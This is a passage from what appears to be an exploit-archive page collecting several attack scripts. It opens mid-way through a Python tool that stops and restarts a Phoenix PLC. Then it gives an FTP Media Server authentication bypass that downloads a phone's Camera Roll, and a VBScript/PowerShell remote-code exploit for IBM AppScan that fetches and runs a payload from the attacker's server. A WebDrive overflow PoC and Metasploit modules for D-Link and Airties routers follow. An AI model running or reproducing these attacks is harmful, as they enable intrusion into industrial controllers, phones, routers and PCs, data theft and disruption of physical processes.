send_and_recv(s,1000,'010000000000290000000000000000004164652e52656d6f74696e672e53657276696365732e49446576696365496e666f5365727669636500') send_and_recv(s,1000,'0100000000002500000000000000d9ff4164652e52656d6f74696e672e53657276696365732e49466f726365536572766963653200') send_and_recv(s,1000,'010000000000240000000000000000004164652e52656d6f74696e672e53657276696365732e49466f7263655365727669636500') send_and_recv(s,1000,'0100000000003000000000000000ceff4164652e52656d6f74696e672e53657276696365732e4953696d706c6546696c65416363657373536572766963653300') send_and_recv(s,1000,'010000000000300000000000000000004164652e52656d6f74696e672e53657276696365732e4953696d706c6546696c65416363657373536572766963653200') send_and_recv(s,1000,'0100000000002a00000000000000d4ff4164652e52656d6f74696e672e53657276696365732e49446576696365496e666f536572766963653200') send_and_recv(s,1000,'010000000000290000000000000000004164652e52656d6f74696e672e53657276696365732e49446576696365496e666f5365727669636500') send_and_recv(s,1000,'0100000000002a00000000000000d4ff4164652e52656d6f74696e672e53657276696365732e4944617461416363657373536572766963653300') send_and_recv(s,1000,'010000000000290000000000000000004164652e52656d6f74696e672e53657276696365732e49446174614163636573735365727669636500') send_and_recv(s,1000,'0100000000002a00000000000000d4ff4164652e52656d6f74696e672e53657276696365732e4944617461416363657373536572766963653200') send_and_recv(s,1000,'0100000000002900000000000000d5ff4164652e52656d6f74696e672e53657276696365732e49427265616b706f696e745365727669636500') send_and_recv(s,1000,'0100000000002800000000000000d6ff4164652e52656d6f74696e672e53657276696365732e4943616c6c737461636b5365727669636500') send_and_recv(s,1000,'010000000000250000000000000000004164652e52656d6f74696e672e53657276696365732e494465627567536572766963653200') send_and_recv(s,1000,'0100000000002f00000000000000cfff4164652e52656d6f74696e672e53657276696365732e4950726f436f6e4f53436f6e74726f6c536572766963653200') send_and_recv(s,1000,'0100000000002e0000000000000000004164652e52656d6f74696e672e53657276696365732e4950726f436f6e4f53436f6e74726f6c5365727669636500') send_and_recv(s,1000,'0100000000003000000000000000ceff4164652e52656d6f74696e672e53657276696365732e4953696d706c6546696c65416363657373536572766963653300') send_and_recv(s,1000,'010000000000300000000000000000004164652e52656d6f74696e672e53657276696365732e4953696d706c6546696c65416363657373536572766963653200') send_and_recv(s,1000,'0100020000000e0003000300000000000500000012401340130011401200') return def is_ipv4(ip): match = re.match("^(\d{0,3})\.(\d{0,3})\.(\d{0,3})\.(\d{0,3})$", ip) if not match: return False quad = [] for number in match.groups(): quad.append(int(number)) if quad[0] < 1: return False for number in quad: if number > 255 or number < 0: return False return True ##### The Actual Program if not len(sys.argv) == 2: IP = raw_input("Please enter the IPv4 address of the Phoenix PLC: ") else: IP = sys.argv[1] if not is_ipv4(IP): print "Please go read RFC 791 and then use a legitimate IPv4 address." sys.exit() ## - initialization, this will get the PLC type, Firmware version, build date & time s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((IP,infoport)) print 'Initializing PLC' print '----------------' code = send_and_recv(s,1000,'0101001a005e000000000003000c494245544830314e305f4d00').encode('hex')[34:36] send_and_recv(s,1000,'01050016005f000008ef00' + code + '00000022000402950000') ret = send_and_recv(s,1000,'0106000e00610000881100' + code + '0400') print 'PLC Type = ' + ret[30:50] print 'Firmware = ' + ret[66:70] print 'Build = ' + ret[79:100] send_and_recv(s,1000,'0105002e00630000000000' + code + '00000023001c02b0000c0000055b4433325d0b466c617368436865636b3101310000') send_and_recv(s,1000,'0106000e0065ffffff0f00' + code + '0400') send_and_recv(s,1000,'010500160067000008ef00' + code + '00000024000402950000') send_and_recv(s,1000,'0106000e0069ffffff0f00' + code + '0400') send_and_recv(s,1000,'0102000c006bffffff0f00' + code) s.shutdown(socket.SHUT_RDWR) s.close() print 'Initialization done' print '-------------------\r\n' print 'Will now print the PLC state and reverse it after 3 seconds' raw_input('Press [Enter] to continue') ########## CONTROL PHASE ####### Start monitoring with loop on port 41100 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((IP,controlport)) # First init phase (sending things like 'Ade.Remoting.Services.IProConOSControlService2' and 'Ade.Remoting.Services.ISimpleFileAccessService3', 21 packets) initMonitor(s) # Query packet packet1 = '010002000000080003000300000000000200000002400b40' # Keepalive packet packet2 = '0100020000001c0003000300000000000c00000007000500060008001000020011000e000f000d0016401600' ## The loop keepalive and query status loop (2 x keepalive, one time query): i = 0 state = 'On' running = 0 stopme = 0 startme = 0 while True: i += 1 time.sleep(0.1) ## Keep Alive send_and_recv(s,1000,packet2) send_and_recv(s,1000,packet2) ## Possible actions (like stop/start) should be sent now before the query state if (state == 'Running' and stopme): print 'Sending Stop' doAction(s,'01000200000000000100070000000000') startme = stopme = 0 elif (state == 'Stop' and startme): print 'Sending COLD Start' ## This is the COLD start: doAction(s,'010002000000020001000600000000000100') ## This is the WARM start: doAction(s,'010002000000020001000600000000000200') ## This is the HOT start: doAction(s,'010002000000020001000600000000000300') doAction(s,'010002000000020001000600000000000100') startme = stopme = 0 ## Query Status ret = send_and_recv(s,1000,packet1).encode('hex') if ret[48:50] == '03': state = 'Running' elif ret[48:50] == '07': state = 'Stop' elif ret[48:50] == '00': state = 'On' else: print 'State unknown, found code: '+ret.encode('hex')[48:50] print 'Current PLC state: '+state ## Maintaining the LOOP if i == 50: break # ''' if i == 30: if state == 'Running': stopme = 1 else: startme = 1 #''' raw_input('All done, press [Enter] to exit')
  21. #!/usr/bin/env python #================================================================================== # Exploit Title: FTP Media Server 3.0 - Authentication Bypass and Denial of Service # Date: 2015-05-25 # Exploit Author: Wh1t3Rh1n0 (Michael Allen) # Exploit Author's Homepage: http://www.mikeallen.org # Software Link: https://itunes.apple.com/us/app/ftp-media-server-free/id528962302 # Version: 3.0 # Tested on: iPhone #================================================================================== # ------------------ # Denial of Service: # ------------------ # The FTP server does not properly handle errors raised by invalid # FTP commands. The following command, which sends an invalid PORT command to # the FTP server, will crash the server once it is received. # echo -en "PORT\r\n" | nc -nv 192.168.2.5 50000 # ---------------------- # Authentication Bypass: # ---------------------- # The FTP server does not handle unauthenticated connections or incorrect login # credentials properly. A remote user can issue commands to the FTP server # without authenticating or after entering incorrect credentials. # The following proof-of-concept connects to the given FTP server and # downloads all files stored in the "Camera Roll" folder without providing a # username or password: import sys from ftplib import FTP if len(sys.argv) <= 1: print "Usage: ./ftp-nologin.py [host] [port]" exit() host = sys.argv[1] port = int(sys.argv[2]) files = [] def append_file(s): files.append(s.split(' ')[-1]) blocks = [] def get_blocks(d): blocks.append(d) ftp = FTP() print ftp.connect(host, port) ftp.set_pasv(1) ftp.cwd("Camera Roll") print ftp.retrlines('LIST', append_file) files.pop(0) for filename in files: print "Downloading %s..." % filename ftp.retrbinary('RETR /Camera Roll/' + filename, get_blocks) f = open(filename, 'wb') for block in blocks: f.write(block) f.close() print "[+] File saved to: %s" % filename blocks = [] ftp.quit()
  22. #!/usr/bin/python import BaseHTTPServer, socket ## # IBM Security AppScan Standard OLE Automation Array Remote Code Execution # # Author: Naser Farhadi # Linkedin: http://ir.linkedin.com/pub/naser-farhadi/85/b3b/909 # # Date: 1 June 2015 # Version: <= 9.0.2 # Tested on: Windows 7 # # Exploit Based on MS14-064 CVE-2014-6332 http://www.exploit-db.com/exploits/35229/ # if you able to exploit IE then you can exploit appscan and acunetix ;) # This Python Script Will Start A Sample HTTP Server On Attacker Machine And Serves Exploit Code And # Metasploit windows/shell_bind_tcp Executable Payload # # Usage: # chmod +x appscan.py # ./appscan.py # ... # nc 172.20.10.14 333 # # Video: http://youtu.be/hPs1zQaBLMU ## class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_GET(req): req.send_response(200) if req.path == "/payload.exe": req.send_header('Content-type', 'application/exe') req.end_headers() exe = open("payload.exe", 'rb') req.wfile.write(exe.read()) exe.close() else: req.send_header('Content-type', 'text/html') req.end_headers() req.wfile.write("""Please scan me! <SCRIPT LANGUAGE="VBScript"> function runmumaa() On Error Resume Next set shell=createobject("Shell.Application") command="Invoke-Expression $(New-Object System.Net.WebClient).DownloadFile('http://"""+socket.gethostbyname(socket.gethostname())+"""/payload.exe',\ 'payload.exe');$(New-Object -com Shell.Application).ShellExecute('payload.exe');" shell.ShellExecute "powershell", "-Command " & command, "", "runas", 0 end function dim aa() dim ab() dim a0 dim a1 dim a2 dim a3 dim win9x dim intVersion dim rnda dim funclass dim myarray Begin() function Begin() On Error Resume Next info=Navigator.UserAgent if(instr(info,"Win64")>0) then exit function end if if (instr(info,"MSIE")>0) then intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2)) else exit function end if win9x=0 BeginInit() If Create()=True Then myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00) myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0) if(intVersion<4) then document.write("<br> IE") document.write(intVersion) runshellcode() else setnotsafemode() end if end if end function function BeginInit() Randomize() redim aa(5) redim ab(5) a0=13+17*rnd(6) a3=7+3*rnd(5) end function function Create() On Error Resume Next dim i Create=False For i = 0 To 400 If Over()=True Then ' document.write(i) Create=True Exit For End If Next end function sub testaa() end sub function mydata() On Error Resume Next i=testaa i=null redim Preserve aa(a2) ab(0)=0 aa(a1)=i ab(0)=6.36598737437801E-314 aa(a1+2)=myarray ab(2)=1.74088534731324E-310 mydata=aa(a1) redim Preserve aa(a0) end function function setnotsafemode() On Error Resume Next i=mydata() i=readmemo(i+8) i=readmemo(i+16) j=readmemo(i+&h134) for k=0 to &h60 step 4 j=readmemo(i+&h120+k) if(j=14) then j=0 redim Preserve aa(a2) aa(a1+2)(i+&h11c+k)=ab(4) redim Preserve aa(a0) j=0 j=readmemo(i+&h120+k) Exit for end if next ab(2)=1.69759663316747E-313 runmumaa() end function function Over() On Error Resume Next dim type1,type2,type3 Over=False a0=a0+a3 a1=a0+2 a2=a0+&h8000000 redim Preserve aa(a0) redim ab(a0) redim Preserve aa(a2) type1=1 ab(0)=1.123456789012345678901234567890 aa(a0)=10 If(IsObject(aa(a1-1)) = False) Then if(intVersion<4) then mem=cint(a0+1)*16 j=vartype(aa(a1-1)) if((j=mem+4) or (j*8=mem+8)) then if(vartype(aa(a1-1))<>0) Then If(IsObject(aa(a1)) = False ) Then type1=VarType(aa(a1)) end if end if else redim Preserve aa(a0) exit function end if else if(vartype(aa(a1-1))<>0) Then If(IsObject(aa(a1)) = False ) Then type1=VarType(aa(a1)) end if end if end if end if If(type1=&h2f66) Then Over=True End If If(type1=&hB9AD) Then Over=True win9x=1 End If redim Preserve aa(a0) end function function ReadMemo(add) On Error Resume Next redim Preserve aa(a2) ab(0)=0 aa(a1)=add+4 ab(0)=1.69759663316747E-313 ReadMemo=lenb(aa(a1)) ab(0)=0 redim Preserve aa(a0) end function </script>""") if __name__ == '__main__': sclass = BaseHTTPServer.HTTPServer server = sclass((socket.gethostbyname(socket.gethostname()), 80), RequestHandler) print "Http server started", socket.gethostbyname(socket.gethostname()), 80 try: server.serve_forever() except KeyboardInterrupt: pass server.server_close()
  23. Hacking

    #!/usr/bin/python #Exploit Title:WebDrive Buffer OverFlow PoC #Author: metacom #Vendor Homepage: http://www.webdrive.com/products/webdrive/ #Software Link: https://www.webdrive.com/products/webdrive/download/ #Version: 12.2 (build # 4172) 32 bit #Date found: 31.05.2015 #Date published: 31.05.2015 #Platform: Windows 7 Ultimate #Bug: Multiple Buffer Overflow UNICODE ''' ---------------------------------------------------------------------------- Summary: Unlike a typical FTP client, WebDrive allows you to open and edit server-based, files without the additional step of downloading the file. Using a simple wizard, you assign a network drive letter to the FTP Server. WebDrive supports additional protocols such as WebDAV, SFTP and Amazon S3 and maps a drive letter to each of these servers.You can map unique drive letters to multiple servers.Download the full-function 20-day trial of WebDrive and make file management on remote servers easier and more efficient! ------------------------------------------------------------------------------ WebDrive connects to many types of web servers, as well as servers in the cloud.You can use WebDrive to access your files on all of the following server types and protocols: WebDAV ------------>Vulnerable WebDAV over SSL---->Vulnerable FTP---------------->Vulnerable FTP over SSL------->Vulnerable Amazon S3---------->Vulnerable SFTP--------------->Vulnerable FrontPage Server--->Vulnerable ------------------------------------------------------------------------------ How to Crash: Copy the AAAA...string from WebDrive.txt to clipboard, create a connection and paste it in the URL/Address and attempt to connect. WebDAV ============================ Crash Analysis using WinDBG: ============================ (430.9f8): Access violation - code c0000005 (!!! second chance !!!) eax=001cad5c ebx=02283af8 ecx=00000041 edx=02289d9c esi=fdf47264 edi=001cad5c eip=0055ff2b esp=001c8cfc ebp=001c8d00 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\WebDrive\webdrive.exe webdrive+0x30ff2b: 0055ff2b 66890c16 mov word ptr [esi+edx],cx ds:0023:001d1000=???? 0:000> !exchain 001c8d20: webdrive+35a24e (005aa24e) 001cb768: webdrive+1c0041 (00410041) Invalid exception stack at 00410041 0:000> d 001cb768 001cb768 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 001cb778 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 001cb788 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 001cb798 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 001cb7a8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 001cb7b8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 001cb7c8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 001cb7d8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. WebDAV over SSL ============================ Crash Analysis using WinDBG: ============================ (b88.ca0): Access violation - code c0000005 (!!! second chance !!!) eax=00000000 ebx=00000000 ecx=00410041 edx=775e660d esi=00000000 edi=00000000 eip=00410041 esp=000a1238 ebp=000a1258 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\ipworks9.dll - ipworks9!IPWorks_SNPP_Get+0x57f: 00410041 038d4df0e8da add ecx,dword ptr [ebp-25170FB3h] ss:0023:daf302a5=???????? 0:000>!exchain Invalid exception stack at 00410041 FTP and FTP over SSL ============================ Crash Analysis using WinDBG: ============================ (834.70c): Access violation - code c0000005 (!!! second chance !!!) eax=00000000 ebx=00410041 ecx=00000400 edx=00000000 esi=002d84f0 edi=00000000 eip=775e64f4 esp=002d8488 ebp=002d84dc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ntdll!KiFastSystemCallRet: 775e64f4 c3 ret 0:000> !exchain 002d8c1c: webdrive+35a24e (015da24e) 002db664: 00410041 Invalid exception stack at 00410041 Amazon S3 ============================ Crash Analysis using WinDBG: ============================ (a64.a98): Access violation - code c0000005 (!!! second chance !!!) eax=00000000 ebx=00410041 ecx=00000400 edx=00000000 esi=002f8550 edi=00000000 eip=775e64f4 esp=002f84e8 ebp=002f853c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ntdll!KiFastSystemCallRet: 775e64f4 c3 ret 0:000> !exchain 002f8c7c: webdrive+35a24e (015da24e) 002fb6c4: 00410041 Invalid exception stack at 00410041 SFTP ============================ Crash Analysis using WinDBG: ============================ (848.9a8): Access violation - code c0000005 (!!! second chance !!!) eax=00000000 ebx=00410041 ecx=00000400 edx=00000000 esi=002380f8 edi=00000000 eip=775e64f4 esp=00238090 ebp=002380e4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ntdll!KiFastSystemCallRet: 775e64f4 c3 ret 0:000> !exchain 00238824: webdrive+35a24e (015da24e) 0023b26c: 00410041 Invalid exception stack at 00410041 FrontPage Server ============================ Crash Analysis using WinDBG: ============================ (cd4.710): Access violation - code c0000005 (!!! second chance !!!) eax=007ba9f0 ebx=05d29738 ecx=00000041 edx=05d2fd48 esi=faa912b8 edi=007ba9f0 eip=003bff2b esp=007b8990 ebp=007b8994 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\WebDrive\webdrive.exe webdrive+0x30ff2b: 003bff2b 66890c16 mov word ptr [esi+edx],cx ds:0023:007c1000=???? 0:000> !exchain 007b89b4: webdrive+35a24e (0040a24e) 007bb3fc: webdrive+360041 (00410041) Invalid exception stack at 00410041 ''' #Proof of Concept: buffer="http://" buffer+="\x41" * 70000 off=buffer try: out_file = open("WebDrive.txt",'w') out_file.write(off) out_file.close() print("[*] Malicious txt file created successfully") except: print "[!] Error creating file"
  24. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'D-Link Devices HNAP SOAPAction-Header Command Execution', 'Description' => %q{ Different D-Link Routers are vulnerable to OS command injection in the HNAP SOAP interface. Since it is a blind OS command injection vulnerability, there is no output for the executed command. This module has been tested on a DIR-645 device. The following devices are also reported as affected: DAP-1522 revB, DAP-1650 revB, DIR-880L, DIR-865L, DIR-860L revA, DIR-860L revB DIR-815 revB, DIR-300 revB, DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR }, 'Author' => [ 'Samuel Huntley', # first public documentation of this Vulnerability on DIR-645 'Craig Heffner', # independent Vulnerability discovery on different other routers 'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10051'], ['URL', 'http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/'] ], 'DisclosureDate' => 'Feb 13 2015', 'Privileged' => true, 'Platform' => 'linux', 'Targets' => [ [ 'MIPS Little Endian', { 'Arch' => ARCH_MIPSLE } ], [ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target { 'Arch' => ARCH_MIPSBE } ] ], 'DefaultTarget' => 0 )) deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOUR') end def check uri = '/HNAP1/' soap_action = 'http://purenetworks.com/HNAP1/GetDeviceSettings' begin res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', 'headers' => { 'SOAPAction' => soap_action, } }) if res && [200].include?(res.code) && res.body =~ /D-Link/ return Exploit::CheckCode::Detected end rescue ::Rex::ConnectionError return Exploit::CheckCode::Unknown end Exploit::CheckCode::Unknown end def exploit print_status("#{peer} - Trying to access the device ...") unless check == Exploit::CheckCode::Detected fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") end print_status("#{peer} - Exploiting...") execute_cmdstager( :flavour => :echo, :linemax => 200, :temp => '' ) end def execute_command(cmd, opts) uri = '/HNAP1/' # we can not use / in our command so we need to use a little trick cmd_new = 'cd && cd tmp && export PATH=$PATH:. && ' << cmd soap_action = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{cmd_new}`" begin res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', 'headers' => { 'SOAPAction' => soap_action, } }, 3) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end end
  25. Hacking

    ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Airties login-cgi Buffer Overflow', 'Description' => %q{ This module exploits a remote buffer overflow vulnerability on several Airties routers. The vulnerability exists in the handling of HTTP queries to the login cgi with long redirect parametres. The vulnerability doesn't require authentication. This module has been tested successfully on the AirTies_Air5650v3TT_FW_1.0.2.0.bin firmware with emulation. Other versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, Air5444TT, Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable. }, 'Author' => [ 'Batuhan Burakcin <batuhan[at]bmicrosystems.com>', # discovered the vulnerability 'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module ], 'License' => MSF_LICENSE, 'Platform' => ['linux'], 'Arch' => ARCH_MIPSBE, 'References' => [ ['EDB', '36577'], ['URL', 'http://www.bmicrosystems.com/blog/exploiting-the-airties-air-series/'], #advisory ['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'] #PoC ], 'Targets' => [ [ 'AirTies_Air5650v3TT_FW_1.0.2.0', { 'Offset' => 359, 'LibcBase' => 0x2aad1000, 'RestoreReg' => 0x0003FE20, # restore s-registers 'System' => 0x0003edff, # address of system-1 'CalcSystem' => 0x000111EC, # calculate the correct address of system 'CallSystem' => 0x00041C10, # call our system 'PrepareSystem' => 0x000215b8 # prepare $a0 for our system call } ] ], 'DisclosureDate' => 'Mar 31 2015', 'DefaultTarget' => 0)) deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOUR') end def check begin res = send_request_cgi({ 'uri' => '/cgi-bin/login', 'method' => 'GET' }) if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /login.html\?ErrorCode=2/ return Exploit::CheckCode::Detected end rescue ::Rex::ConnectionError return Exploit::CheckCode::Unknown end Exploit::CheckCode::Unknown end def exploit print_status("#{peer} - Accessing the vulnerable URL...") unless check == Exploit::CheckCode::Detected fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") end print_status("#{peer} - Exploiting...") execute_cmdstager( :flavour => :echo, :linemax => 100 ) end def prepare_shellcode(cmd) shellcode = rand_text_alpha_upper(target['Offset']) # padding shellcode << [target['LibcBase'] + target['RestoreReg']].pack("N") # restore registers with controlled values # 0003FE20 lw $ra, 0x48+var_4($sp) # 0003FE24 lw $s7, 0x48+var_8($sp) # 0003FE28 lw $s6, 0x48+var_C($sp) # 0003FE2C lw $s5, 0x48+var_10($sp) # 0003FE30 lw $s4, 0x48+var_14($sp) # 0003FE34 lw $s3, 0x48+var_18($sp) # 0003FE38 lw $s2, 0x48+var_1C($sp) # 0003FE3C lw $s1, 0x48+var_20($sp) # 0003FE40 lw $s0, 0x48+var_24($sp) # 0003FE44 jr $ra # 0003FE48 addiu $sp, 0x48 shellcode << rand_text_alpha_upper(36) # padding shellcode << [target['LibcBase'] + target['System']].pack('N') # s0 - system address-1 shellcode << rand_text_alpha_upper(16) # unused registers $s1 - $s4 shellcode << [target['LibcBase'] + target['CallSystem']].pack('N') # $s5 - call system # 00041C10 move $t9, $s0 # 00041C14 jalr $t9 # 00041C18 nop shellcode << rand_text_alpha_upper(8) # unused registers $s6 - $s7 shellcode << [target['LibcBase'] + target['PrepareSystem']].pack('N') # write sp to $a0 -> parametre for call to system # 000215B8 addiu $a0, $sp, 0x20 # 000215BC lw $ra, 0x1C($sp) # 000215C0 jr $ra # 000215C4 addiu $sp, 0x20 shellcode << rand_text_alpha_upper(28) # padding shellcode << [target['LibcBase'] + target['CalcSystem']].pack('N') # add 1 to s0 (calculate system address) # 000111EC move $t9, $s5 # 000111F0 jalr $t9 # 000111F4 addiu $s0, 1 shellcode << cmd end def execute_command(cmd, opts) shellcode = prepare_shellcode(cmd) begin res = send_request_cgi({ 'method' => 'POST', 'uri' => '/cgi-bin/login', 'encode_params' => false, 'vars_post' => { 'redirect' => shellcode, 'user' => rand_text_alpha(5), 'password' => rand_text_alpha(8) } }) return res rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end end